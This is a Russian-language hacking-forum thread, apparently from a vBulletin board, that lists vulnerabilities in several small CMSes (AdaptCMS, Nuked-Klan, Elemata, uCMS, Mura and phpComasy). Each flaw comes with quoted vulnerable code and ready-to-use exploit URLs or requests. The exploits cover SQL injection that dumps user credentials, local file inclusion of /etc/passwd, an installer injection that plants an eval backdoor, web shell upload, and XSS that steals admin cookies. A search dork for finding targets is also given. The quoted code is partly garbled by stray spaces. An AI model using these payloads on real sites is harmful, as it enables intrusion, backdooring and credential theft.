if ((!emp ty($_SESSION['user_id']) ) && (!empty($_SESSION['user_username'])) && (@$_SESSION['user_role'] =='admin')) {
// additional check (phpcomasy url)
if ($_SESSION['user_url'] ==__WEB_PATH) {
return1;
}
else {
return0;
}
}
else {
return0;
}
}
Shell: http://site.com/data/shell.php
Dork: powered by phpComasy
daniel_1024
20.06.2012, 12:13
AdaptCMS
Уязвимости AdaptCMS 2.0.x
Сайт разработчика (http://adaptcms.com)
Скачать (http://sourceforge.net/projects/adaptcms/)
SQL injection
Зависимости: magic_quotes_gpc = off
File: /inc/function.php
...
if ($id) {
$poll_sql=mysql_query("SELECT * FROM ".$pre."polls WHERE poll_id = '".$id."' AND type = 'poll'");
}
...
Exploit:
http://127.0.0.1/cms/index.php?view=polls&id=1' and 1=0 union select 1,2,version(),4,5,6,7,8 --
LFI
Зависимости: magic_quotes_gpc = off
File: /inc/web/plugins.php
...
$plugin=mysql_fetch_row(mysql_query("SELECT url,status FROM ".$pre."plugins WHERE name = '".strtolower(str_replace("_"," ",$_GET['plugin']))."'"));
if ($plugin[1] =="Off") {
echo"Sorry, but the ".ucwords($_GET['plugin'])." Plugin is offline";
} else {
$module=$_GET['module'];
include ($sitepath."plugins/".$plugin[0]);
...
Данные из запроса попадают в функцию include
Exploit:
http://127.0.0.1/cms/index.php?view=plugins&plugin=a' union select '/../../../../../etc/passwd',null --
Blind SQL injection
Зависимости: нет
File: /config.php
...
if ($_SERVER['HTTP_REFERER'] &&stristr($_SERVER['HTTP_REFERER'],"admin.php") ===FALSE) {
if (mysql_num_rows(mysql_query("SELECT * FROM ".$pre."stats_archive WHERE name = 'referer' AND dat a = '".$_SERVER['HTTP_REFERER']."' AND week = '".date("W")."' AND year = '".date("Y")."'")) ==0) {
mysql_query("INSERT INTO ".$pre."stats_archive VALUES (null, 'referer', '".$_SERVER['HTTP_REFERER']."', '".date("W")."', '".date("n")."', '".date("Y")."', 1, 1, '".time()."')");
} else {
mysql_query("UPDATE ".$pre."stats_archive SET views=views+1, date = '".time()."' WHERE name = 'referer' AND data = '".$_SERVER['HTTP_REFERER']."'");
}
...
}
...
Не фильтруется $_SERVER['HTTP_REFERER']. Можно крутить как слепую, если условие верно - ошибки нет.
Exploit:
GET /cms/index.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; rv:2.2) Gecko/20110201
Referer: 1' and if(mid((select version()),1,1)=5,1,(select 1 union select 2)) -- d
Code execution
Зависимости: не удален файл install.php
Exploit:
Заходим на install.php и в качестве префикса таблицы указываем
aaa_'; if (isset($_REQUEST['e'])) eval(stripslashes($_REQUEST['e'])); //
Получаем бекдор:
http://127.0.0.1/cms/inc/dbinfo.php?e=phpinfo();
daniel_1024
14.07.2012, 15:40
Уязвимости Nuked-Klan
Nuked-Klan SP 4.5Скачать (http://sourceforge.net/projects/nukedklan/files/nuked_klan_sp45.zip/download)
На баг-треках я нашел один (http://www.exploit-db.com/exploits/19188/) актуальный баг. Но есть ещё.
В движке используется ereg.
Remote code execution
Зависимости: magic_qoutes_gpc = off
File: /globals.php
...
extract($_POST,EXTR_SKIP);
extract($_GET,EXTR_SKIP);
...
$bad_string= array("%20union%20","/*","*/union/*","+union+","load_file","outfile","document.cookie","onmouse"," 0 ".$and." ORDER BY pseudo LIMIT ".$start.", ".$nb_membres);
...
Используем null-byte для обхода регулярки.
PoC:
http://127.0.0.1/nk/index.php?file=Members&letter=XX%00'+and+1=0+%0aunion+select+version(),2, 3,4,5,6,7,8,9+--+d
SQL injection
Зависимости: magic_quotes_gpc = off, надо быть зарегистрированным пользователем.
File: /modules/Userbox/index.php
...
functionpost_message()
{
global$for,$message,$titre,$user;
if ($for!=""&&ereg("^[a-zA-Z0-9]+$",$for))
{
$sql=mysql_query("SELECT pseudo FROM ".USER_TABLE." WHERE id = '".$for."'");
list($pseudo) =mysql_fetch_array( $sql);
}
...
if ($message!="")
{
$message=stripslashes($message);
$reply="".htmlentities($message) ."";
}
...
}
PoC:
http://127.0.0.1/nk/index.php?file=Userbox&op=post_message&message=a&for=a%00'%0aunion+select+version()+--+
Заливка шелла
Нужны права администратора
Заходим на http://127.0.0.1/nk/index.php?file=Page&page=admin
Создаем новую php-страницу, в контенте вводим eval(stripslashes($_REQUEST['x'])); или загружаем файл.
daniel_1024
22.07.2012, 12:59
Elemata CMS
Сайт разработчика (http://beta.elematacms.com)
Скачать (http://sourceforge.net/projects/elematacms/files/latest/download?source=directory)
SQL-injection
Зависимости: magic_quotes_qpc = off
File: /functions/global.php
...
functione_meta($id)
{
...
$query_meta="SELECT * FROM posts WHERE id = '$id'";
$meta=mysql_query($query_meta,$default) or die(m ysql_error());
$row_meta=mysql_fetch_assoc($meta);
echo'
';
...
}
PoC:
http://127.0.0.1/e/index.php?id=1'+and+1=0+union+select+1,2,3,4,5,con cat(username,0x3a,password),7,8,9,10,11,12,13,14,1 5,16,17,18,19,20,21,22,23,24,25,26+from+users+--+
Пассивная XSS
File: /themes/revive/search.php
...
You searched for ""
...
PoC:
http://127.0.0.1/e/index.php?s=alert('lol');
Заливка шелла
Зависимости: права администратора
В админ-панеле в разделе Media.
LFI
Зависимости: magic_quotes_qpc = off, и права администратора
File: /admin/content/themes.php
...
if($_REQUEST['cmd'] ==activate)
{
//UPDATE THEME SETTINGS
$a_folder=$_REQUEST['folder'];
mysql_select_db($database_default,$default);
mysql_query("UPDATE settings SET theme = '$a_folder'");
}
...
File: /index.php
...
//Include Theme
mysql_select_db($database_default,$default);
$theme=mysql_query("SELECT * FROM settings");
$row_theme=mysql_fetch_assoc($theme);
include ("themes/".$row_theme['theme']."/index.php");
...
PoC:
http://127.0.0.1/e/admin/index.php?action=themes&cmd=activate&folder=../../../../../../../etc/passwd%00
Заходим на главную страницу и файл инклюдится. Меняем тему обратно на стандартную:
http://127.0.0.1/e/admin/index.php?action=themes&cmd=activate&folder=revive
uCMS v 1.2
Сайт разработчика (http://www.en.ucms-manager.com/)
Скачать (http://sourceforge.net/projects/ucmsmanager/files/latest/download)
SQL injection
Зависимости: magic_quotes_gpc = off
File: /content.php
...
$current_page=mysql_query("SELECT * FROM ".$db_prefix."pages WHERE id = '$_GET[id_page]' Limit 1");
$r_current_page=mysql_fetch_array($current_page);
$current_version_page=mysql_query("SELECT * FROM ".$db_prefix."pages_lg WHERE id_page = '$r_current_page[id]' AND id_lg = '$r_current_language[id]' Limit 1");
$r_current_version_page=mysql_fetch_array($current _version_page);
...
if(settings_site_name_display==1)
{
include('modules/sitename/sitename.php');
if(settings_site_name_position==1)$page_ti tle=$mod_sitename_site_name.($r_current_version_pa ge['title'] ?' - ':'').$r_current_version_page['title'];
elseif(settings_site_name_position==2)$pag e_title=$r_current_version_page['title'].($r_current_version_page['title'] ?' - ':'').$mod_sitename_site_name;
}
else
$page_title=$r_current_version_page['title'];
...
Данные из первого запроса попадают во второй. Далее выводится переменная $page_title. PoC:
-1' union select 1,2,3,4,version(),6,7,8,9,10,11,12 -- d ==>
0x2D312720756E696F6E2073656C65637420312C322C332C34 2C76657273696F6E28292C362C372C382C392C31302C31312C 3132202D2D2064
http://127.0.0.1/cms/index.php?id_page=-1'+union+select+0x2D312720756E696F6E2073656C656374 20312C322C332C342C76657273696F6E28292C362C372C382C 392C31302C31312C3132202D2D2064,2,3,4,5,6,7,8+--+
Mura CMS 6 (build 5310)
website: http://www.getmura.com/
Active XSS
суть в том что в админской панели выводятся логи посетителей, в том числе и user-agent, который не фильтруется
открываем любую страницу сайта,при этом меняем user-agent на js снифф, и при открытии логовой страницы в панели админа куки бегут к нам.
немного кода
/Mura/requirements/mura/user/sessionTracking/sessionTrackingDAO.cfc
INSERT INTO tsessiontracking(REMOTE_ADDR,SCRIPT_ NAME,QUERY_STRING,SERVER_NAME,URLToken,UserID,site ID,
country,lang,locale,contentID,referer,keywords,use r_agent,Entered,originalURLToken)
values(
,
,
,
,
,
,
,
,
,
,
,
,
,
,
,
)
/Mura/requirements/dashboard/dashboardManager.cfm
select user_agent from arguments.rsSession whe re user_agent>''
output
/Mura/admin/core/views/cdashboard/viewsession.cfm
#application.rbFactory.getKeyValue(session.rb,"dashboard.session.useragent")#: #application.dashboardManager.getUserAgentFro mSessionQuery(rc.rslist)#
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot